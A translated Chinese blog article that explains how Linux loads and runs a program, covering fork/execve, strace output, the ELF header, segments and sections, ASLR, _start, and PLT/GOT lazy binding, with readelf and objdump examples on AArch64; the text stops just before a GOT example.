当前位置:首页>Linux>【译】ELF 与动态链接:深入理解 Linux 程序加载机制

【译】ELF 与动态链接:深入理解 Linux 程序加载机制

  • 2026-06-29 05:49:43
【译】ELF 与动态链接:深入理解 Linux 程序加载机制

当我们运行 ./app 时,几毫秒内就能看到一个活跃的进程出现在系统中。对于大多数现代开发者来说,这短暂的时间间隔是一个信仰行为,一个"就这样发生了"的黑盒。但对于内核黑客来说,这是一场精心编排的舞蹈的开始,如今很少有人知道它的舞步。

我们生活在一个技术好奇心被遮蔽的时代。我们让自己被高层抽象的生态系统所诱惑,以至于不再有人愿意向下看,深入到真正魔法发生的深处。在 Kubernetes、微服务、eBPF 变成"产品"、以及对 AI 驱动的氛围编程的痴迷之间,我们建造了一座技术的象牙塔。问题在于,塔越高,对于那些不了解其基础如何建造的人来说,其根基就越脆弱。

我们已经习惯了"东西就是能用",但这种舒适是有代价的:控制权的丧失。今天,当一个抽象层破裂时,大多数人会面对一个令人不安的赤裸现实。他们意识到 Linux 仍然是支撑整座建筑的基石,但他们把它当作一个反复无常的神来崇拜,只在它失败时才祭拜,而不是把它理解为它本应是的精密机器。我们不再教授系统如何呼吸;我们教授如何消费隐藏硅之美的 API。如果你不了解运行时如何工作,你就没有拥有你的执行;你只是从内核那里得到了一笔贷款。

这篇文章源于恢复对操作系统阴影中发生事情失去的兴趣的需要。这个系列的想法是恢复我几年前在现已关闭的 CodigoUnix.com.ar 上开始的道路,揭开键盘和处理器之间发生的所谓"黑魔法"。剧透:没有魔法,只有数据结构、调用约定和完美编排的内存跳转。

在这一期中,我们要深入泥潭。我们要解剖 ELF 格式(可执行和可链接格式)、动态链接器的行为,以及那些让磁盘上的一堆静态字节变成内存中的动态实体的关键结构。欢迎回到深处。是时候停止凝视表面,终于理解下面真正发生了什么。

然后它发生了,一扇通往世界的门打开了。像海洛因流过瘾君子的血管一样,一个电子脉冲通过电话线发送,一个远离日常生活中的无能的避难所被寻求……一条生命线被找到了。

"就是这里。这就是我归属的地方。"

——黑客宣言(The Mentor, 1986)

什么是 ELF?

当我们在 Linux 上用一个简单的 ./app 执行一个二进制文件时,感觉几乎很神奇。但在那个手势背后,有一个操作系统完全理解的精心设计的结构:ELF 格式(可执行和可链接格式)。ELF 不仅仅是一个可执行文件;它是编译后的代码、系统加载器和内存之间的契约。理解它是把 Linux 不看作一个黑盒,而是一个每个字节都有目的的透明系统的第一步。

如果我们打开一个 ELF 文件,我们首先看到的不是正在执行的代码,而是元数据。大量的元数据。ELF 被设计为一个有组织的结构,描述程序必须如何被加载和执行,而不仅仅是程序本身。

在高层次上,一个 ELF 文件分为三个主要部分:

ELF 头(ELF Header):正门。它定义这是什么类型的文件(可执行文件、库、目标文件),架构(x86、ARM),以及在哪里找到其余的内部结构。

程序头(Program Headers,段 segments):这些告诉操作系统如何将二进制文件映射到内存。这是加载器在运行时实际关心的部分。

节头(Section Headers,节 sections):这些为链接器和分析工具组织文件内容(如 .text.data.bss.symtab 等)。

这不是理论。你可以从任何 Linux 发行版检查所有这些。我们需要一些基本工具,如 gccstracepsreadelfobjdump,当然还有一个文本编辑器(Vim <3)。

注意:文章示例的源代码可在 ./src 中找到。那里还有一个最小的 README.md,我在根目录包含了一个 Makefile,可以完全按照示例中使用的构建二进制文件。

进入 Linux 内核的神秘之旅

让我们从经典中的经典开始:

C                  // hello_world.c                  #includeint main() {          printf("Hello world!\n");          return 0;          }

让我们编译它:

Bash                  %: gcc hello_world.c -o hello_world

在谈论 ELF、头或内存之前,让我们从我们每天都做的事情开始。我们有一个 shell,如 /bin/bash/bin/sh 或任何其他。从那里我们执行刚刚编译的程序:

Bash                  %: ./hello_world                  Hello world!

乍一看,似乎 shell 正在执行那个二进制文件。但这实际上不是发生的事情。shell 本身不执行程序;它所做的是调用一个系统调用:execve

在实践中,流程是这样的:shell 创建一个新进程(fork),然后调用 execve,这会完全用我们想要执行的二进制文件替换该进程映像。

但要更清楚地理解发生了什么,我们首先需要引入一个关键概念:fork

fork 是一个创建新进程的系统调用。当一个程序调用它时,内核生成一个子进程,该子进程本质上是当前进程的副本。两个进程(父进程和子进程)从同一点继续执行,但有一个重要区别:每个进程收到不同的返回值,这允许它们采取不同的执行路径。

Linux 中的每个进程都有一个称为 PID(进程 ID)的唯一标识符。当 fork 发生时,子进程收到自己的 PID,与父进程不同。同时,子进程通过 PPID(父进程 ID)保持对其创建者的引用,这告诉我们谁产生了它。

这意味着进程不是孤立存在的;它们形成一个层次结构:每个进程,除了初始进程外,都有一个父进程,并且可以依次产生子进程。打开终端并运行 pstree 来更详细地查看这一点:

systemd─┬─ModemManager───3*[{ModemManager}]                  ├─agetty                  ├─avahi-daemon───avahi-daemon                  ├─cron                  ├─dbus-daemon                  ├─multipathd───6*[{multipathd}]                  ├─polkitd───3*[{polkitd}]                  ├─rsyslogd───3*[{rsyslogd}]                  ├─sshd───sshd───bash───pstree                  ├─sshd                  ├─systemd───(sd-pam)                  ├─systemd-journal                  ├─systemd-logind                  ├─systemd-network                  ├─systemd-resolve                  ├─systemd-timesyn───{systemd-timesyn}                  ├─systemd-udevd                  ├─udisksd───5*[{udisksd}]                  └─unattended-upgr───{unattended-upgr}

这种机制在类 Unix 系统中是基础的,因为它允许像 shell 这样的程序创建一个新进程而不让自己消失。那个新进程就是后来可以变成一个完全不同的程序的进程。

一切皆文件

每次用 fork 创建新进程时,内核不仅给它分配一个新的 PID,还在伪文件系统 /proc 中暴露该进程。这意味着一个新的目录会自动出现在 /proc/,代表正在运行的进程并允许从用户空间检查它。

在那个目录内有许多反映进程状态的文件和子目录,但最有趣的一个是 /proc//fd。这个目录包含进程打开的文件描述符,表示为符号链接。

我们可以通过检查当前进程打开的文件描述符来轻松看到这一点。为此我们可以使用特殊变量 $$,它包含正在运行进程的 PID:

Bash                  %: ls -al /proc/$$/fd/                  total 0                  dr-x------ 2 tty0 tty04 Apr5 19:09 .                  dr-xr-xr-x 9 tty0 tty00 Apr5 19:09 ..                  lrwx------ 1 tty0 tty0 64 Apr5 19:09 0 -> /dev/pts/0                  lrwx------ 1 tty0 tty0 64 Apr5 19:09 1 -> /dev/pts/0                  lrwx------ 1 tty0 tty0 64 Apr5 19:09 2 -> /dev/pts/0                  lrwx------ 1 tty0 tty0 64 Apr5 19:09 255 -> /dev/pts/0

每个条目对应一个打开的文件描述符。例如,01 和 2 分别代表 stdin、stdout 和 stderr,在这个例子中它们都指向同一个终端(/dev/pts/0)。

默认情况下,每个 Unix 进程以三个标准文件描述符开始:01 和 2。进程打开的每个文件或网络连接都会收到一个新的文件描述符编号来标识它。

文件描述符

名称

说明

0

STDIN

标准输入,通常连接到键盘

1

STDOUT

标准输出,通常是终端(屏幕)

2

STDERR

标准错误,也绑定到终端(日志)

Unix 中的网络连接被表示为套接字(socket),一种特殊类型的文件。内核将它们作为文件描述符暴露,这意味着你可以像使用普通文件一样对它们使用 read()write() 或 poll()

文件描述符在 fork 之间继承,这意味着子进程以与父进程相同的输入和输出通道开始。这就是为什么当我们从 shell 执行程序时,它的输入和输出出现在同一个终端。

然而,那个"复制"并不意味着内核立即复制所有内存。在实践中,Linux 使用一种称为**写时复制(Copy-on-Write, CoW)**的机制。

在 fork 时,父进程和子进程暂时共享相同的内存页。只有当其中一个尝试修改该内存时,内核才创建一个独立的副本。

这使得 fork 比看起来要高效得多,因为它避免了不必要地复制大量内存。

要更好地理解这一点,区分两个概念很有用:虚拟内存实际内存使用

每个进程都有自己的虚拟地址空间,代表它可以使用的完整地址集合。但这并不意味着所有这些内存都实际加载到 RAM 中。

实际内存使用常驻集大小(Resident Set Size, RSS)来衡量,它告诉我们有多少进程页在给定时刻物理上存在于内存中。

在 fork 的情况下,父进程和子进程可能拥有相同的虚拟内存空间,同时物理上共享相同的页,所以 RSS 不会立即翻倍。

只有当其中一个进程尝试写入那些共享页之一时,才会发生一个特殊事件:缺页异常(page fault)。此时内核介入,创建该页的副本,并更新引用,以便每个进程获得自己的版本。

我们可以用 ps 检查实际内存和 RSS:

Bash                  %: ps -o pid,rss,vsz,cmd                  PIDRSSVSZ CMD                  41720 55568620 -bash                  59003 3904 10668 ps -o pid,rss,vsz,cmd

系统调用

要理解真正发生了什么,我们必须从一个基本想法开始:在 Linux 中,世界被分为两个空间。一边是用户空间,我们的程序生活的地方:shell、浏览器和我们运行的任何应用程序。另一边是内核空间,操作系统内核生活的地方,对硬件和系统资源拥有完全控制。

用户空间的程序不能做任何事情。它是被设计隔离的。它可以执行代码和管理自己的内存,但不能直接访问磁盘、网络或低级别的处理器。这种限制不是任意的;它是保证系统安全和稳定性的基础。如果一个程序想写文件、通过网络发送数据,或者像我们的情况一样,执行另一个二进制文件,它必须请求内核来做。这就是系统调用发挥作用的地方。

系统调用(syscall)是允许用户空间程序从内核请求特权操作的受控接口。它是进入内核空间的唯一入口点。当 shell 调用 execve 时,它真正做的是将执行完全委托给内核。这是一种说法:"这是一个 ELF 文件。我在底层不能对它做什么,但你可以。把它加载到内存并运行它。"

内核不会通过名字理解 writeopen 或 execve。它实际理解的是数字。每个系统调用都有一个在内核本身内定义的唯一标识符。当一个程序想执行一个系统调用时,它将该数字加载到一个寄存器并执行一条特殊指令(x86_64 上的 syscall),将控制权转移给内核。你可以直接在内核源代码中看到它。在 x86_64 架构上:系统调用表

所以当一个程序调用 execve 时,它真正做的是在 x86_64 上执行系统调用号 59。

有一个工具可以让我们实时观察它们:strace。它拦截并显示程序运行时执行的系统调用。我们看到的不是像 printf 这样的高级函数,而是程序与内核之间的实际对话。

Bash                  %: strace -f ./hello_world                  execve("./hello_world", ["./hello_world"], 0xffffe9514538 /* 26 vars */) = 0                  brk(NULL)= 0xbbabf2db5000                  mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfa3c1622e000                  faccessat(AT_FDCWD, "/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)                  openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3                  fstat(3, {st_mode=S_IFREG|0644, st_size=38859, ...}) = 0                  mmap(NULL, 38859, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfa3c16224000                  close(3)= 0                  openat(AT_FDCWD, "/lib/aarch64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3                  read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0\267\0\1\0\0\0\360\206\2\0\0\0\0\0"..., 832) = 832                  fstat(3, {st_mode=S_IFREG|0755, st_size=1722920, ...}) = 0                  mmap(NULL, 1892240, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_DENYWRITE, -1, 0) = 0xfa3c16027000                  mmap(0xfa3c16030000, 1826704, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0xfa3c16030000                  munmap(0xfa3c16027000, 36864)= 0                  munmap(0xfa3c161ee000, 28560)= 0                  mprotect(0xfa3c161ca000, 77824, PROT_NONE) = 0                  mmap(0xfa3c161dd000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0xfa3c161dd000                  mmap(0xfa3c161e2000, 49040, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfa3c161e2000                  close(3)= 0                  set_tid_address(0xfa3c1622ef90)= 58966                  set_robust_list(0xfa3c1622efa0, 24)= 0                  rseq(0xfa3c1622f5e0, 0x20, 0, 0xd428bc00) = 0                  mprotect(0xfa3c161dd000, 12288, PROT_READ) = 0                  mprotect(0xbbabc576f000, 4096, PROT_READ) = 0                  mprotect(0xfa3c16233000, 8192, PROT_READ) = 0                  prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0                  munmap(0xfa3c16224000, 38859)= 0                  fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x1), ...}) = 0                  getrandom("\xd9\xfa\xb1\x22\x0f\x48\xa0\x76", 8, GRND_NONBLOCK) = 8                  brk(NULL)= 0xbbabf2db5000                  brk(0xbbabf2dd6000)= 0xbbabf2dd6000                  write(1, "Hello world!\n", 13Hello world!                  )= 13                  exit_group(0)= ?                  +++ exited with 0 +++

如果我们用 strace 运行程序,我们看到的确切上是我们的程序与内核之间的对话。这一切都始于:

C                  execve("./hello_world", ["./hello_world"], ...)

这是关键的系统调用。execve 负责加载和执行一个新程序。它接收三个参数:可执行文件路径、参数数组(argv)和环境(envp)。

我们在 strace 中看到的第二个参数:

["./hello_world"]

对应于 argv,即程序接收的参数数组。按照约定,第一个元素始终是可执行文件的名称。

从该数组中,内核构建程序执行开始时立即接收的两个基本值:

argc:参数计数

argv:参数字符串向量

例如,如果我们运行:

Bash                  %: ./hello_world foo bar                  argc = 3                  argv = ["./hello_world", "foo", "bar"]

这些值不是神奇地出现在 main 中的。内核将它们作为初始进程环境的一部分准备,以便程序可以立即访问它们。

当这个调用发生时,当前进程被完全替换:它的内存、代码和先前状态消失,新的二进制文件被加载到它的位置。从那一刻起,我们在跟踪中看到的一切都对应于新程序的初始化。

后来我们看到多个与内存(mmapbrkmprotect)和文件访问(openatread)相关的系统调用。但所有这些工作都发生在我们的程序实际做任何可见的事情之前。

read() 周围的序列特别有趣:

C                  openat(AT_FDCWD, "/lib/aarch64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3                  read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0\267\0\1\0\0\0\360\206\2\0\0\0\0\0"..., 832) = 832                  fstat(3, {st_mode=S_IFREG|0755, st_size=1722920, ...}) = 0                  mmap(NULL, 1892240, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_DENYWRITE, -1, 0) = 0xfa3c16027000

首先,进程用 openat 以只读模式和 close-on-exec 标志打开标准 C 库(libc.so.6),获得文件描述符 3。然后它读取文件的前几个字节。那个第一个 read() 不是随机的:它对应于 ELF 头,这让加载器理解二进制文件的结构。

然后,通过 fstat(),它获取已打开文件的元数据,如大小和权限,而不再次解析路径。有了这些,加载器有了下一步所需的一切:用 mmap() 将 libc 映射到内存。在那一刻,文件不再只是"磁盘上的一个文件",而成为进程的一部分。

也值得注意的是 close()

C                  close(3)= 0

返回值 0 意味着系统调用成功释放了文件描述符。

最后我们到达这一行:

C                  write(1, "Hello world!\n", 13)

这是可观察的效果。系统调用向文件描述符 1 写入 13 字节,对应于标准输出(stdout),也就是终端。

这很重要,因为程序不是"直接打印到屏幕"。它所做的是调用 write,一个请求内核向文件描述符写入数据的系统调用。你可以在 Linux 手册页中看到系统调用本身:

Bash                  %: man 2 write                  NAME                  write - write to a file descriptor                  LIBRARY                  Standard C library (libc, -lc)                  SYNOPSIS                  #includessize_t write(int fd, const void buf[.count], size_t count);          DESCRIPTION          write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.          ...

知道这一点,我们可以绕过像 printf 或 puts 这样的高级函数,直接调用 write() 系统调用:

C                  // hello_world_write.c                  #include// write() 所需          int main() {          char *msg = "Hello world!\n";          // write(fd, buffer, count)          // fd = 1 -> stdout          write(1, msg, 13);          return 0;          }

我们再次用 gcc 编译它:

Bash                  %: gcc ./hello_world_write.c -o ./hello_world_write

当我们运行它时,我们得到相同的结果:

Bash                  %: ./hello_world_write                  Hello world!

让我们检查生成的二进制文件(./hello_world)的头:

Bash                  %: readelf -h ./hello_world                  ELF Header:                  Magic:7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00                  Class:ELF64                  Data:2's complement, little endian                  Version:1 (current)                  OS/ABI:UNIX - System V                  ABI Version:0                  Type:DYN (Position-Independent Executable file)                  Machine:AArch64                  Version:0x1                  Entry point address:0x640                  Start of program headers:64 (bytes into file)                  Start of section headers:68528 (bytes into file)                  Flags:0x0                  Size of this header:64 (bytes)                  Size of program headers:56 (bytes)                  Number of program headers:9                  Size of section headers:64 (bytes)                  Number of section headers:28                  Section header string table index: 27

乍一看这可能看起来像噪音,但实际上它包含操作系统开始理解文件所需的一切。

在头内部,也许最有趣的字段是 Magic7f 45 4c 46):它实际上就是文件签名。它告诉系统:这是一个 ELF 文件。

这里有一个有趣的细节。如果我们用 Python 打印这些字节:

Bash                  %: python3 -c 'print("\x7f\x45\x4c\x46")'                  ELF

我们看到的是 ELF 的 ASCII 表示,前面是 0x7f 字节,它是不可打印的,但充当一个特殊标记。

所以 strace 中看起来只是另一个 read() 实际上是允许内核执行程序的第一步。

这不是偶然的。许多二进制格式以魔数开头,以便系统和像 file 这样的工具可以快速无歧义地识别文件类型。

如果我们继续阅读头,我们会发现一个起初可能看起来微不足道的字段,但它告诉我们的比看起来多得多:

Type: DYN (Position-Independent Executable file)

乍一看我们可能会认为我们在看一个共享库,因为 .so 对象也是 DYN 类型。但在这种情况下,它实际上是一个编译为 PIE(位置无关可执行文件)的可执行文件。

这意味着二进制文件在编译时没有烘焙固定地址。相反,它是构建的,以便可以在每次运行时加载到不同的内存地址。它的地址是相对的,可以在加载时动态调整。

这就是允许二进制文件与 ASLR 等机制一起工作的原因,其中内存布局在每次执行时都会改变。没有 PIE,主程序将始终固定在同一个地址,使其行为更加可预测。

换句话说,这个 DYN 并不意味着二进制文件在通常意义上是"动态的",而是它被准备好不依赖于内存中的固定位置。

在内核甚至考虑执行任何东西之前,它做的第一件事就是验证:这真的是我认为的那样吗?答案从前四个字节开始。

如果你还记得前面的 strace,有一行很容易被忽略:

C                  read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0...", 832) = 832

那正是系统读取 ELF 文件头的时候。

同样,Linux 的 file 命令通过这样做来确定文件是什么类型:读取前几个字节。

Bash                  %: file ./hello_world                  ./hello_world: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=be76f6465982c1063047aad9324cd6fc9ef1a623, for GNU/Linux 3.7.0, not stripped

ELF 为文件的前 16 字节保留了一个称为 e_ident 的结构,它定义了二进制文件的基本规则:它的类、它的字节序,以及文件的其余部分应该如何解释。

偏移

含义

0

0x7f

特殊标记

1-3

45 4c 46

'E' 'L' 'F' -> 签名

4

02

类 -> 64位(ELF64)

5

01

字节序 -> 小端

6

0

ELF 版本(当前 = 1)

7

00

OS/ABI -> System V

8

00

ABI 版本

9-15

00 ...

填充

一旦你理解了魔数,其余的就开始有意义了。我们知道它是一个 64 位二进制文件,并且它使用小端表示。

此时另一个关键概念出现了:ABI(应用程序二进制接口)。虽然 e_ident 告诉我们文件是什么以及如何读取它,但 ABI 定义了该二进制文件加载到内存后期望如何行为。它设定游戏规则:参数如何传递给函数、它如何与操作系统交互,以及它如何链接动态库。

到目前为止,我们理解系统如何识别 ELF、如何解释它的前几个字节,以及它必须在哪些规则下行为。但还有一个主要问题:磁盘上的这个文件如何变成一个运行中的进程?

如果我们回到头,我们之前忽略的一些字段变得至关重要:

Entry point address:0x640                  Start of program headers:64 (bytes into file)                  Number of program headers:9

这些值不描述文件是什么,而是如何遍历它。特别是,它们告诉系统在哪里找到最重要的 ELF 结构之一:程序头。内核不执行整个文件。它只加载到内存中程序头告诉它的内容。

动态链接:当二进制文件不是孤军奋战

要真正理解当我们运行 ./hello_world 时发生了什么,我们必须停止把文件看作一堆字节,而开始把它看作一组映射到内存的段。

Bash                  %: readelf -l ./hello_world

这显示程序头,即内核将用来加载二进制文件的段:

Program Headers:                  TypeOffsetVirtAddrPhysAddr                  FileSizMemSizFlagsAlign                  LOAD0x0000000x0000000000000000 ...                  LOAD0x0010000x0000000000001000 ...                  INTERP0x0002a80x00000000000002a8 ...                  DYNAMIC0x000e000x0000000000000e00 ...

这些段中的每一个代表内核映射到进程的内存区域。

  • LOAD:持有程序代码和数据的段。

  • INTERP:告诉内核哪个程序必须加载此二进制文件。

  • DYNAMIC:包含解析动态依赖所需的信息。

换句话说,ELF 不是作为一个整体加载的。内核选择要映射到内存的部分以及具有什么权限,完全按照这些头的描述。

如果二进制文件有一个 INTERP 段,内核不直接执行我们的程序。相反,它首先将该解释器加载到内存并将控制权转移给它。那个解释器就是动态链接器

在不深入其内部的情况下,这里有一个想法很重要:在 Linux 上,大多数二进制文件是动态链接的。

这意味着二进制文件不包含它运行所需的所有代码。它的部分功能委托给外部库,如 libc,这些库将在运行时由动态链接器加载。

我们的二进制文件不是自给自足的;它需要其他部分才能运行。

节和段

如果我们从段移开,回到程序更逻辑的视图,我们会遇到节(sections),它们按目的分组不同类型的数据:

  • .text:可执行代码

  • .data:已初始化的全局变量

  • .bss:未初始化的全局变量

  • .rodata:只读数据,如字符串

这些节代表程序编译时的样子,后来它们被用来构建我们之前看到的段。

Bash                  %: readelf -S ./hello_world

有 28 个节头,从偏移 0x10bb0 开始:

Section Headers:                  [Nr] NameTypeFlags                  [ 1] .interpPROGBITSA                  [ 5] .dynsymDYNSYMA                  [ 6] .dynstrSTRTABA                  [ 9] .rela.dynRELAA                  [10] .rela.pltRELAAI                  [12] .pltPROGBITSAX                  [13] .textPROGBITSAX                  [15] .rodataPROGBITSA                  [20] .dynamicDYNAMICWA                  [21] .gotPROGBITSWA                  [22] .dataPROGBITSWA                  [23] .bssNOBITSWA                  [25] .symtabSYMTAB                  [26] .strtabSTRTAB                  ...                  Key to Flags:                  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),                  L (link order), O (extra OS processing required), G (group), T (TLS),                  E (exclude), D (mbind), x (unknown), o (OS specific), E (exclude),                  D (mbind), p (processor specific)

标志不是一个小细节。它们告诉系统一旦加载该内存区域可以做什么。A 意味着它将被分配在内存中,X 意味着它是可执行的,W 意味着它是可写的。这些权限后来直接反映在内核如何映射相应的段。

从文件到进程:它如何在内存中存在

并非进程的所有内存都来自 ELF 文件。一旦程序运行,系统也会创建其他基本区域:

  • 栈(Stack):局部变量和函数上下文

  • 堆(Heap):运行时请求的动态内存

与 ELF 节不同,这些区域不"活在文件内部";它们是执行开始时由系统创建的。

一个关键的想法值得记住:

节解释程序如何存在于磁盘上。段定义它如何活在内存中。

当我们谈论存储在磁盘上的二进制文件时,我们在谈论节。一旦执行,这些被转换为内存段。

这个图展示了磁盘上的 ELF 文件如何变成内存中的进程。在底部你可以看到像 .text.rodata.data 和 .bss 这样的节,代表程序编译时的样子。这些节不是孤立加载的;内核将它们分组并通过我们之前讨论的段映射它们。

当我们在地址空间中向上移动时,出现了其他不是直接来自 ELF 的区域,例如运行时动态加载的共享库。在它们上面是堆,它随着动态请求内存而向上增长,最后是栈,它以相反的方向增长。

所有这些不仅仅是一个抽象。我们可以直接通过 /proc//maps 检查它:

Bash                  %: cat /proc/$$/maps                  c2e54ddf0000-c2e54df54000 r-xp 00000000 fc:00 262179/usr/bin/bash                  c2e54df6b000-c2e54df70000 r--p 0016b000 fc:00 262179/usr/bin/bash                  c2e54df70000-c2e54df79000 rw-p 00170000 fc:00 262179/usr/bin/bash                  c2e54df79000-c2e54df84000 rw-p 00000000 00:00 0                  c2e55a36f000-c2e55a3d2000 rw-p 00000000 00:00 0[heap]                  ecbf78a00000-ecbf78ceb000 r--p 00000000 fc:00 263150/usr/lib/locale/locale-archive                  ecbf78d60000-ecbf78efa000 r-xp 00000000 fc:00 263119/usr/lib/aarch64-linux-gnu/libc.so.6                  ecbf78faa000-ecbf78fac000 r--p 00000000 00:00 0[vvar]                  ecbf78fac000-ecbf78fad000 r-xp 00000000 00:00 0[vdso]                  ecbf78fad000-ecbf78faf000 r--p 0002e000 fc:00 263006/usr/lib/aarch64-linux-gnu/ld-linux.so.1                  ffffe14e3000-ffffe1504000 rw-p 00000000 00:00 0[stack]

第一个字段显示虚拟地址范围,而第二个显示权限。这些遵循经典的 Unix 模型:r 表示读、w 表示写、x 表示执行、p 表示私有映射。

一个标记为 r-xp 的区域通常对应于可执行代码,如二进制文件或 libc,而 rw-p 通常表示可写内存,如堆或栈。

一个有趣的细节是这些地址不是固定的。如果你多次执行程序,它们会改变。这是由于 ASLR(地址空间布局随机化),一种在内存布局中引入随机性的安全机制。

它的行为可以通过 kernel.randomize_va_space 调整。在现代系统上,它通常设置为 2,启用完全的进程地址空间随机化。

Bash                  %: sysctl kernel.randomize_va_space                  kernel.randomize_va_space = 2

真正的开始:_start

到目前为止,我们已经看到二进制文件如何在磁盘上组织、内核如何将其加载到内存,以及动态链接器和动态库等组件如何参与。但还有一个最终问题:程序执行真正从哪里开始?

如果我们回到 ELF 头,有一个我们没有深入分析的字段:

Entry point address:0x640

乍一看,人们可能认为那对应于 main,但事实并非如此。

一旦内核完成加载二进制文件,如果需要,还有动态链接器,它将控制权转移给那个入口地址。该点通常对应于一个称为 _start 的特殊函数,它由编译器作为程序运行时的一部分生成。

_start 准备初始环境:栈、堆、参数(argcargv),并最终调用我们在 hello_world.c 中编写的 main 函数。

要真正理解入口点发生了什么,我们需要看机器代码。这就是 objdump 发挥作用的地方。

Bash                  %: objdump -d ./hello_world

如果我们想更具体,我们可以直接查看 _start

Bash                  %: objdump -d --disassemble=_start ./hello_world                  Disassembly of section .text:                  0000000000000640 <_start>:                     640:d503201fnop                     644:d280001dmovx29, #0x0// #0                     648:d280001emovx30, #0x0// #0                     64c:aa0003e5movx5, x0                     650:f94003e1ldrx1, [sp]                     654:910023e2addx2, sp, #0x8                     658:910003e6movx6, sp                     65c:f00000e0adrpx0, 1f000 <__FRAME_END__+0x1e768>                     660:f947f800ldrx0, [x0, #4080]                     664:d2800003movx3, #0x0// #0                     668:d2800004movx4, #0x0// #0                     66c:97ffffe1bl5f0 <__libc_start_main@plt>                     670:97ffffecbl620

符号 _start 是程序的真正入口点。它是内核或动态链接器将控制权转移给二进制文件后执行的第一条指令。

在反汇编中,我们可以看到与栈帧相关的寄存器是如何初始化的,例如帧指针(x29)和链接寄存器(x30)。

栈帧是栈的一部分,属于当前正在运行的函数。它存储局部变量、参数和返回地址。每次调用函数时,都会创建一个新的栈帧。

ldr x1, [sp]                  add x2, sp, #0x8

这里出现了一个关键寄存器:sp,栈指针。这个寄存器指向栈的顶部。当内核将控制权转移给程序时,栈已经用数据初始化了。在这种情况下:

ldr x1, [sp] 将 argc 加载到 x1

add x2, sp, #0x8 计算 argv 的地址

所以 _start 正在直接从栈中提取程序参数。

_start 不直接执行我们的代码。它的主要目的是将控制权交给另一个关键的运行时函数:__libc_start_main

bl __libc_start_main@plt

该调用将控制权转移给 __libc_start_main,这是 libc 中负责继续程序执行的函数。从那里,libc(或 GNU 系统中的 glibc)接管:它初始化环境并最终调用我们的 main 函数。

但因为二进制文件是动态链接的,那个调用不是直接的。它通过两个专门为动态链接设计的结构:PLT(过程链接表)和 GOT(全局偏移表)。

PLT 和 GOT

PLT 可以被认为是一组小型的跳板。每个条目代表一个外部函数,并包含重定向执行所需的代码。但 PLT 本身不知道函数的真实地址。该信息存在于 GOT 中。

GOT 是内存中存储函数和符号真实地址的表。简单来说:PLT 定义如何跳转,GOT 定义跳转到哪里。

延迟绑定

这些地址并不总是从一开始就可用。这就是延迟绑定出现的地方。

当程序第一次运行时,GOT 条目仍然不指向 libc 中的真实函数。相反,它们指向动态链接器中的一个解析器。

所以第一次调用像 __libc_start_main 这样的函数时,执行通过 PLT,PLT 查询 GOT,未能找到最终地址,最终委托给解析器。动态链接器解析符号,在内存中找到实际地址,并更新相应的 GOT 条目。

从那时起,GOT 已经包含正确的地址。后续调用不再需要解析。PLT 只是读取 GOT 中的地址并直接跳转到函数。

换句话说,第一次调用付出解析成本;其余的都是直接的。这避免了在启动时解析所有依赖,并允许仅在需要时解析它们。

我们可以用 objdump 打印 PLT 的内容:

Bash                  %: objdump -d -j .plt ./hello_world                  ./hello_world: file format elf64-littleaarch64                  Disassembly of section .plt:                  00000000000005d0 <.plt>:                     5d0:a9bf7bf0stpx16, x30, [sp, #-16]!                     5d4:f00000f0adrpx16, 1f000 <__FRAME_END__+0x1e768>                     5d8:f947d211ldrx17, [x16, #4000]                     5dc:913e8210addx16, x16, #0xfa0                     5e0:d61f0220brx17                     5e4:d503201fnop                     5e8:d503201fnop                     5ec:d503201fnop                  00000000000005f0 <__libc_start_main@plt>:                     5f0:f00000f0adrpx16, 1f000 <__FRAME_END__+0x1e768>                     5f4:f947d611ldrx17, [x16, #4008]                     5f8:913ea210addx16, x16, #0xfa8                     5fc:d61f0220brx17                  0000000000000600 <__cxa_finalize@plt>:                     600:f00000f0adrpx16, 1f000 <__FRAME_END__+0x1e768>                     604:f947da11ldrx17, [x16, #4016]                     608:913ec210addx16, x16, #0xfb0                     60c:d61f0220brx17                  0000000000000610 <__gmon_start__@plt>:                     610:f00000f0adrpx16, 1f000 <__FRAME_END__+0x1e768>                     614:f947de11ldrx17, [x16, #4024]                     618:913ee210addx16, x16, #0xfb8                     61c:d61f0220brx17                  0000000000000620:             620:f00000f0adrpx16, 1f000 <__FRAME_END__+0x1e768>             624:f947e211ldrx17, [x16, #4032]             628:913f0210addx16, x16, #0xfc0             62c:d61f0220brx17          0000000000000630:              630:f00000f0adrpx16, 1f000 <__FRAME_END__+0x1e768>              634:f947e611ldrx17, [x16, #4040]              638:913f2210addx16, x16, #0xfc8              63c:d61f0220brx17

PLT 条目从 GOT 加载一个地址并跳转到它。该地址最初指向动态链接器解析器;一旦解析,它直接指向 libc 中的实现。

我们可以对 GOT 做同样的操作:

